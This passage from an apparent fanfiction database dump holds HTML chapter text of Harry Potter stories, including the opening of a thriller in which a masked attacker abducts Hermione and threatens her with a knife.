said\nquietly, taking a deep breath.  Hermione looked up, reading glasses\nperched on the tip of her nose, making her look even more intelligent.\n <br/>\n	"You know, about the whole \'House-Elf\' volunteer thing"\nGinny trailed off, licking her lips as she searched for the right\nwords. <br/>\n	"You think it\'s a great idea?" Hermione suggested brightly.\n <br/>\n	"No, not quite"  The brown haired girl\'s face fell.<br/>\n	"Youdon\'t want to do it?" she asked meekly.  Ginny\nshook her head fervently.  <br/>\n	"No, not at all!"  <br/>\n	"Thenwhat?" Ginny sighed, resting her head on her hand.\n<br/>\n	" Ijust feel embarrassed and so uncomfortable about doing\nsuch a thingI mean, imagine if <i>Malfoy</i> found out that both\nWeasley\'s were doing this kind of service-he\'d never let us hear\nthe end of it!"  Ginny threw up her hands and contorted her\nface in disgust.  Hermione put a gentle hand on her friend\'s shoulder.\n <br/>\n	"Don\'t worry about him-ignore him Ginny.  Just think of\nall the good we\'ll be doing for the school."  Hermione sat\nback in her chair, satisfied at her words.  And yet Ginny still\ngot that odd squirmy feeling in her stomach, the kind you got\nthe night before a huge piano recital, or right before you did\nsomething you knew you were going to regret<br/>\n	"Oh!  Look at the time!"  Hermione jumped out of her\nchair, grabbing her books, and after waving goodbye to Ginny,\nshe trotted up the stairs, humming a happy tune, and obviously\nsure about what she wanted to do.  Which left Ginny to sit alone\nby the fire of the common room, banging her head on the desk repeatedly,\nchiding herself for giving in so easily.  <br/>\n	Sure, she would be doing \'good\' for the school.  Sure, that would\nbe good on her records.  But was all that even close to being\nworth the tarnishing of her reputation, the jeering, the humiliation\nand utter embarrassment?  <i>No.</i> <br/>\n	But now that she had gotten herself into this, she couldn\'t just\nback out.  That wouldn\'t be right, and she would be disappointing\nmany along the way.  Plus, Dumbledore might ask for his money\nback. <br/>\nClenching her fists determinedly, she nodded.  On a few conditions,\nshe would work.  One being not being assigned to clean the Slytherin\ndorms.<br/>\n	Just imagine the look on the blonde\'s face if he had found out\nabout Ginny Weasley becoming a true weasel-y servant.<br/>\n	Sneering, smirking, laughing.<br/>\n	With absolutely no cheerful thoughts in her head, she headed\ntowards bed, her shoulders sagged with the new burden that had\nbeen laid so mercilessly upon her.<br/>\n	What had she gotten herself into??</p>\n<p> </p>\n<p> </p>\n<p> </p>\n<p> </p>\n<p>A/N: Review <br/>\n'),
	(235, 2, '<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(237, 1, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">A/N:\nWell here I am starting a new story when I have no right to ;) I got attacked\nby this particular plot bunny one morning and it&#8217;s been weighing heavily in my\nhead ever since.</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">When\nyou&#8217;re done, please leave a review!</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">This\nstory is for Ambir, Ryan and Jen, who suffered through helping me think of the\ntitle. Mwah!! Loff you guys!!!!</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Disclaimer:\nIf I owned Harry Potter and Co, I wouldn&#8217;t be writing fanfiction for free would\nI?</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Granger set her eagle feather\nquill down and rubbed her weary eyes. A glance at the clock on her desk told\nher it was half past\n seven, and time to go home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What in the world are you still doing\nhere?&#8221; a voice at her door made her look up and smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m about to leave, I promise.&#8221; Hermione\ngrinned at Ernie MacMillan, one of her co-workers and good friends. &#8220;I just had\nto finish up this report so that Cho has it in the morning.&#8221; With one flick of\nher wand, the parchments collected together in a neat pile and Hermione placed\nit in a tray in on her desk. No sooner did her fingers leave the parchments\nthan they disappeared, and reappeared upstairs in Cho&#8217;s office.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re overworking again.&#8221; Ernie wagged\nhis finger at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well you know me, always reading and\ncompiling.&#8221; Hermione smiled outwardly. &#8220;The ever working Gryffindor spirit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ernie smiled back. &#8220;Just promise me you&#8217;ll\nget some rest soon.&#8221; He said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Promise.&#8221; Hermione replied, her grin\ngenuine this time. He waved and continued on down the corridor. She watched him\ngo and then waved her wand, sending the books she had been using back onto the\nshelf and the spare parchment back in her drawer. &nbsp;She dropped a copy of her report into her\nleather case and pulled her cloak over her shoulders, fastening it securely.\nLocking her office door behind her, Hermione set off down the corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re still here?&#8221; Millicent Bulstrode\nsneered as Hermione entered the front office. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just leaving.&#8221; Hermione replied coolly,\nignoring Millicent&#8217;s snide tone. She went over to the box on the wall and slid\nher wand inside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Clocking out, seven thirty\nfive.&#8221; A voice replied from the box. Hermione slipped her wand into her bag.\n&#8220;Why are you back?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;None of your business.&#8221; Millicent snapped,\npulling something from the drawer and putting it in her purse. She brushed past\nHermione, making sure to shove the smaller girl with her shoulder. &#8220;You lock\nup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes as she watched her\ngo. She and Millicent had never gotten along, due largely to the fact that she\nheld a higher, better paying position in Cho&#8217;s company. She muttered the spell\nthat would lock the office door, then turned and left the building, pulling her\ncloak tighter around her as the cool wind whipped around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm-own-ninny.&#8221; A familiar Bulgarian\naccent made her stop in her tracks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Viktor.&#8221; Hermione closed her eyes a\nmoment. She turned on her heel and regarded him. &#8220;What are you doing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I haff come to ask you for dinner.&#8221; Viktor\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve come to ask me for dinner?&#8221;\nHermione repeated, wincing at his broken English. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Vell, I would enjoy if you vould accompany\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Viktor&#8230;.&#8221; Hermione pinched the bridge of\nher nose, trying to keep her temper from flaring. &#8220;I&#8217;m sorry, but no.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Vy not?&#8221; he asked, following her as she\nbegan to walk away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because I&#8217;m not interested in you,\nViktor.&#8221; Hermione tried to say it as politely as possible. &#8220;Look, I told you\nthat summer I came to visit you in Bulgaria\nthat we were only friends, that&#8217;s how it always was and always will be.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I really like you.&#8221; Viktor continued\nto follow her. &#8220;Vy can&#8217;t we work anything out?&#8221; he put a restraining hand on\nher arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because!&#8221; Hermione snapped as she turned around,\nher hair flying out behind her. &#8220;I don&#8217;t think of you that way, I never have,\nyou&#8217;re in your late twenties and you&#8217;ve been fixated on me ever since my fourth\nyear of Hogwarts. I&#8217;ve had enough!&#8221; she was finally ready to snap. &#8220;I don&#8217;t\nwant you anywhere near me. Stay away!&#8221; the last words came out through clenched\nteeth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Viktor didn&#8217;t follow her this time,\ninstead, staring after her as she disappeared down the alley. &#8220;You can run now\nHerm-own-ninny, but I will haff you someday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She walked quickly down the street,\nclutching her case tightly in her hand. All she wanted to do was get home, have\na nice cup of tea, put her feet up and forget about what had just happened with\nViktor. &#8220;Blasted wind.&#8221; Hermione muttered as it blew her cloak out behind her.&nbsp; A sudden sound made her stop in her tracks\nand whip around. &nbsp;&#8220;Hello? Viktor?&#8221; she\ncalled out cautiously; ready to run if a dark shape came at her. When nothing\nbut the wind answered her, she turned back around and began walking again, this\ntime quicker.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The person grinned sinisterly as Hermione\nsped up her pace. Sneaking back out from behind a clump of bushes, they resumed\nwalking behind her. Cold hatred pulsed through their veins like blood,\ndespising her more and more with each step they took. Perfect, beautiful\nHermione Granger, who everyone loved, who everyone admired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;You won&#8217;t be so admired when I&#8217;m finished\nwith you.&#8217; The person thought to themselves. They watched again as she went up\nthe steps to her flat, opening and closing the door behind her. Narrowing their\neyes, they settled back, to wait for just the right time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione placed a locking spell on her door\nlike she did every night, then placed her leather case on the table in her\nsmall foyer. Her cloak went on the hook next to the mirror, her shoes\nunderneath. Her bedroom was down the short hallway, the other two rooms being\nthe bathroom and a guest room. Hermione shed her work clothing, stepping into a\nmore comfortable choice of beige pyjama trousers and a white camisole, tying\nher wild bushy locks back in a messy bun. Moving into the kitchen, she set her\nkettle on the counter and a swish and flick later, her tea was steaming in a\nmug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time to relax.&#8221; Hermione said, carrying it\ninto her living room. She sat down in a squashy, comfortable chair and put her\nfeet up. Closing her eyes, she took a long sip and sighed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ring! There was a pause. Ring! Ring!\nHermione groaned. &#8220;Harry!!!&#8221; she said as she set her mug down. When she\ninstalled the Muggle phone in her flat, she charmed it so each friend or family\nmember of hers had a different ring so she&#8217;d know who it was. &#8220;Hallo Harry.&#8221;\nShe spoke with a touch of annoyance in her voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Hermione.&#8221; Harry replied. His voice\nsounded a bit subdued, she noticed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the matter?&#8221; Hermione asked perceptively,\nfeeling bad for the way she answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sighed and was silent a moment. &#8220;Liz and\nI broke up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione asked, suddenly wide eyed\nin shock. Everyone thought that Harry and his girlfriend of a year would be\ngetting married someday.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We broke up tonight.&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry I&#8217;m sorry!&#8221; she said, walking back\ninto her living room and collapsing in the chair. &#8220;What happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I came home today early to surprise\nher since our anniversary is&#8230; was&#8230;.in two days&#8230; turns out she was celebrating\nsomething else, with someone else&#8230; in our bed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8230;bitch!&#8221; Hermione was suddenly\nfurious. &#8220;How dare she?&#8221;&nbsp; She could feel\nHarry smile at her indignation.&nbsp; &#8220;Who&#8230;\nwho was it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221; He answered. &#8220;Someone from\nher work, I guess. He hightailed it out of here pretty quick, and then she and\nI screamed at each other for a good half hour before she grabbed some clothes\nand left.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Hermione asked. &#8220;I mean Harry;\nyou&#8217;re like the devoted boyfriend that all girls dream about, not cheat on.&#8221; He\nwas silent. &#8220;Harry, tell me.&#8221; She pressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, the one thing I could make out\nduring our screaming match was that she was tired of sleeping in my bed when I\nso obviously wanted someone else to be in there with me.&#8221; Harry knew it was no\nuse trying to keep something from Hermione, she could sniff it out like search\ndogs. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What? Who?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221; Harry said quickly, and\nHermione knew he was hiding something, but chose not to pursue it. He&#8217;d had\nenough grief for one night. &#8220;But I managed to do a nice number on the bed after\nshe was gone. Had to go out and replace it so I&#8217;d have somewhere to sleep.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit her lower lip. &#8220;Harry I am so\nsorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not your fault, Hermione.&#8221; He\nreplied. &#8220;I just needed to talk to you&#8230;.you&#8217;re like a voice of reason for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled at this. &#8220;I&#8217;m just the logical\none.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank goodness one of us is.&#8221; Harry said.\n&#8220;I figured I would feel better after giving you a call.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sort of. I&#8217;m sure it&#8217;ll sink in again\ntomorrow and I&#8217;ll be depressed for a good few weeks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want me to come over?&#8221; Hermione offered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230; you take the rest of your evening and\nrelax.&#8221; Harry said. &#8220;Working late again tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes. How did you know?&#8221; She asked,\ntwisting an escaped lock of hair with her index finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I tried ringing you at six, but no answer.\nWas Cho keeping you late again?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, she asked me to have a report done\nfor her by the end of the week. I figured if I stayed late tonight I would get\nit finished a few days early.&#8221; Hermione replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I still sometimes have a hard time\nbelieving Cho runs a research company.&#8221; Harry said. &#8220;I mean, when we knew her\nat Hogwarts, she was so athletic, I thought for sure she&#8217;d be playing\nprofessional Quidditch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;People certainly can change.&#8221; Hermione\nagreed. &#8220;She&#8217;s good to work for though, very fair, and she doesn&#8217;t make\nhorrible demands on us.&#8221; Harry and Hermione talked late into the evening, she\nwas surprised when she looked up and saw it was nearly midnight. &#8220;Harry I&#8217;ve got to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t realise it was so late!&#8221; Harry\nwas apologetic. &#8220;I&#8217;m sorry for talking your ear off all night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right Harry.&#8221; Hermione replied,\ntaking her empty mug into the kitchen. &#8220;I&#8217;m glad I was able to keep your mind\noff everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry said. &#8220;Listen, any chance\nyou&#8217;d be willing to join me for dinner tomorrow evening then? I have\nreservations that I won&#8217;t be using otherwise&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Long as you&#8217;re buying, I&#8217;m there.&#8221;\nHermione joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She could hear his grin. &#8220;All right, I&#8217;ll\ncome by your place at eight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See you then.&#8221; Hermione agreed. &#8220;Love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Love you too.&#8221; Harry said, and hung up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione replaced the cordless phone on the\nwall and closed her eyes. She felt horrible for Harry, and was still seething\nat the nerve of that woman. How anyone could treat someone like Harry so\ncallously was beyond her. Hermione was normally a calm, even tempered person\nbut certain situations, especially ones where one of &#8216;her boys&#8217; were hurt, and\nshe could be quite terrifying to deal with. A loud and sudden clap of thunder\nmade her jump from her thoughts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hate storms.&#8221; She muttered, turning the\nkitchen light out and heading down the hall to her bedroom. Placing her wand on\nthe nightstand, she turned off the lamp and pulled the soft flannel covers over\nher body. Hermione hoped to fall asleep as soon as her head hit the pillow, but\nthe impending storm made it difficult. She wished now she&#8217;d insisted on going\nto Harry&#8217;s, then she could have just stayed there on his sofa.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After spending a half hour tossing and\nturning, she tried counting house elves, breathing deeply and steadily, but\nnothing worked. An hour after that, Hermione finally managed to fall into a\nlight slumber as the thunder and lightning started moving away, leaving only a\nsoft steady rain behind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">CRREEEEAAAAKKKK. Hermione jerked back up at\nthe sound, her heart thumping against her ribs. Hugging the sheets tight\nagainst her body, she stayed completely still, training her ears keenly. The\nsound came again, accompanied by a muffled thump that made chills run up and\ndown her spine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">There&#8217;s\nsomeone in my flat!!!</i>&#8217; the thought frightened her even more. She moved her\narm slowly out from under the covers and grabbed for her wand, but in her panic\nit slipped and rolled off underneath her bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fuck!&#8221; Hermione swore softly. Forcing\nherself to remain calm, she slipped out of bed and crept quietly across the\nroom, pressing her ear to the door. For a few minutes all she heard was\nsilence, and then a loud thump against her door made her jump back and stifle a\nscream. As she reached for the knob to lock the door, it began to twist.\nHermione leapt forward and held on with all her strength, whoever it was on the\nother side was strong. After a few minutes of struggling, she managed to turn\nit and get it locked, making the person on the other side bang on the wooden\nframe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Leave me alone!!!&#8221; she screamed, backing\naway from the door, tears springing into her eyes. She dove back down on the\nside of the bed, reaching underneath blindly for her wand. Her fingers brushed\nit, but in her state of near hysteria, she wound up rolling it further under\nthe bed and completely out of reach. Another short scream escaped from her\nthroat as her prowler began punching at the door, making the wood split. &nbsp;Her breath came quicker as she scrambled back\ntowards the closet, hoping that the attacker would leave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No such luck. Whoever it was, wasn&#8217;t giving\nup. Hermione pulled the sliding door almost shut, leaving a tiny crack open so\nshe could see. Two hands had successfully broke through the bedroom door; all\nshe could see were black arms, the hands with black gloves on. She whimpered\nand pushed herself into the corner, pulling some of her clothing across,\nshielding her from view.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fucking bitch&#8230;&#8221; a voice came from the\nhallway as the person used one of their hands to unlock the door, then step\ninside. Hermione trembled violently; the person&#8217;s head was covered with a baggy\nblack mask that matched the rest of their clothing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Sweet Merlin please let them not find me,\nplease&#8230;&#8217; Hermione prayed silently. She had never been more terrified than she\nwas right now. The person stalked around her room, tearing the covers off her\nbed, swearing under their breath as they searched for her. She stifled a cry as\nthe person over turned the bed, smashing and throwing things off her dresser in\nfrustration. &#8220;Please&#8230; just leave&#8230;&#8221; Hermione whispered almost noiselessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The person growled, anger mounting. &#8220;Mine&#8230;&#8221;\nthey picked up a glass vase and threw it at the closet door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t help it, she screamed as\nit shattered. Within two strides, the person crossed the room and yanked the\ndoor open so hard it nearly left the frame.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO!&#8221; Hermione screamed as her arm was\npulled so hard it nearly became disjointed. She was dragged across the floor\nand thrown against the wall roughly. &#8220;Who are you? What do you want?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want you.&#8221; The person said, pointing a\nwand at her. &#8220;Stupefy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The last thing Hermione remembered was a\nblinding white light rushing towards her, then darkness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cracks of weak light filtered through the\nboarded up windows of the ramshackle house. Hermione groaned, her bed felt\nunusually uncomfortable and she had a horribly splitting headache.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Unnhhhhh&#8230;&#8221; she tried to turn on her side\nand curl up, but she found that she couldn&#8217;t. Hermione&#8217;s eyes opened wide as\nshe suddenly remembered what had happened. &#8220;Oh Merlin&#8230;&#8221; she muttered, trying\nnot to slip into a total panic. Gently moving her arms, she discovered they\nwere tied to the top of the bed she was lying on; her legs were also bound at\nthe bottom. She dug her fingers into the ropes, and realised that the knots\nweren&#8217;t tied tightly. Hermione managed to loosen the bindings around her wrists,\nand then pulled her hands free and feverishly worked on her ankles, all the\nwhile listening carefully for any footsteps that would mean her attacker\nreturning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once she managed to free herself completely\nshe immediately ran over to the single window and tried to pull off the boards\ncovering it. Unfortunately, they were nailed on tightly and nothing she could\ndo would make them budge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shit!&#8221; she swore quietly. Hermione wasn&#8217;t\nthe type of person to use profanities often, but the whole situation called for\nit. She crossed the room to the door, which was locked as well. Closing her\neyes, she calmed herself down before she started screaming aloud and attracting\nunwanted attention. Returning to the bed, she sat down and folded her arms over\nher chest, there was a cold draft blowing through cracks in the old wood and\nall she had on was her camisole and flimsy trousers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s body was telling her that she\nhad been unconscious, possibly for more than one night. Her stomach was\ngrowling pitifully, wanting food she didn&#8217;t have. A sudden thought raced\nthrough her mind. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can apparate!&#8221; Hope surged through her\nas she focused on getting out. She performed the usual apparition concentration\nand when she opened her eyes, she was completely dismayed to find herself still\nin the room. A few more unsuccessful tries had her admitting that whoever had\ntaken her must have set up apparition wards.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione spent the rest of the daylight\nhours pacing around the room, trying to think of ways to escape or how to\nnotify someone of her whereabouts. As the last rays of sunshine fell, loud\nscraping and thumping outside the room indicated that her kidnapper was\nreturning. She flew to the bed and had just managed to get her hands in the\nloops when the door was opened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was dusky in the room now, so it was\nhard for her to make out a clear shape of the person. The black mask was firmly\nin place, along with the black robes and gloves they had been wearing before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How long have I been here.&#8221; She wasn&#8217;t\nasking, but demanding answers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two days.&#8221; She was surprised how the\nperson answered immediately. Her brain went to work right away, trying to place\nthe voice and/or mannerisms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t think you&#8217;ll figure out who I am.&#8221;\nThe person read her mind. &#8220;I&#8217;ve used a spell to disguise my voice. And don&#8217;t\ntry Apparating, I&#8217;ve surrounded this room with wards, you won&#8217;t be able to go\nanywhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you want with me?&#8221; Hermione once\nagain demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The figure stood in silence. &#8220;You&#8217;ll find\nout in due time what I want with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me now!&#8221; Hermione ordered. &#8220;I&#8217;m not\nfucking playing games with you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll do what I say!!!&#8221; the person said\nin a rage. They reached up into the arm of their robe and brandished something\nlong and shiny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A knife.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gulped back her biting words. It\nlooked like one of those knives she&#8217;d seen in Muggle horror movies, although\nhaving it so near her was even scarier than anything she&#8217;d seen in those films.\nShe pressed her lips together, not taking her eyes off it for a second.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The person moved to the side of the bed and\nHermione jerked her body away. &#8220;Don&#8217;t touch me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SLAP! Her head turned away sharply as a\nlarge red mark appeared on her cheek. &#8220;Not a word out of you.&#8221; The bed springs\nscreeched in complaint as the person lowered themselves next to her. The cold\nblade of the knife was then pressed against her abdomen, and she whimpered in\nfright.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to tell you a story&#8230;&#8221; the person\nbegan. &#8220;About a girl who thought she was so perfect, so above everyone.&#8221; The\nknife began travelling its way under her shirt. &#8220;Hermione Granger thought so\nmuch of herself that she refused to give people the time of day unless they\nwere as smart as her.&#8221; A ripping sound filled the room as the knife cut apart\nher camisole. &#8220;One day she was taken right out of her own home.&#8221; The person\npulled the shirt away from her body as they took the knife down her front\nagain. &#8220;If only she knew that if she had only treated a particular person with\nthe attention they deserve, she wouldn&#8217;t find herself in such a predicament.&#8221;\nThey trailed the knife back over her abdomen as Hermione trembled violently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know who you&#8217;re talking about.&#8221;\nShe whispered. &#8220;Please, don&#8217;t kill me&#8230;&#8221; tears leaked from her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Too late.&#8221; The smug voice said. &#8220;You&#8217;ll\ndie slowly, so I can watch the blood drain from your body.&#8221; Hermione tried to\nshake her head, but found the knife pressed against her neck. They brought\ntheir head down close to hers. &#8220;I want to watch your eyes as you die, as your\nlife slips away&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 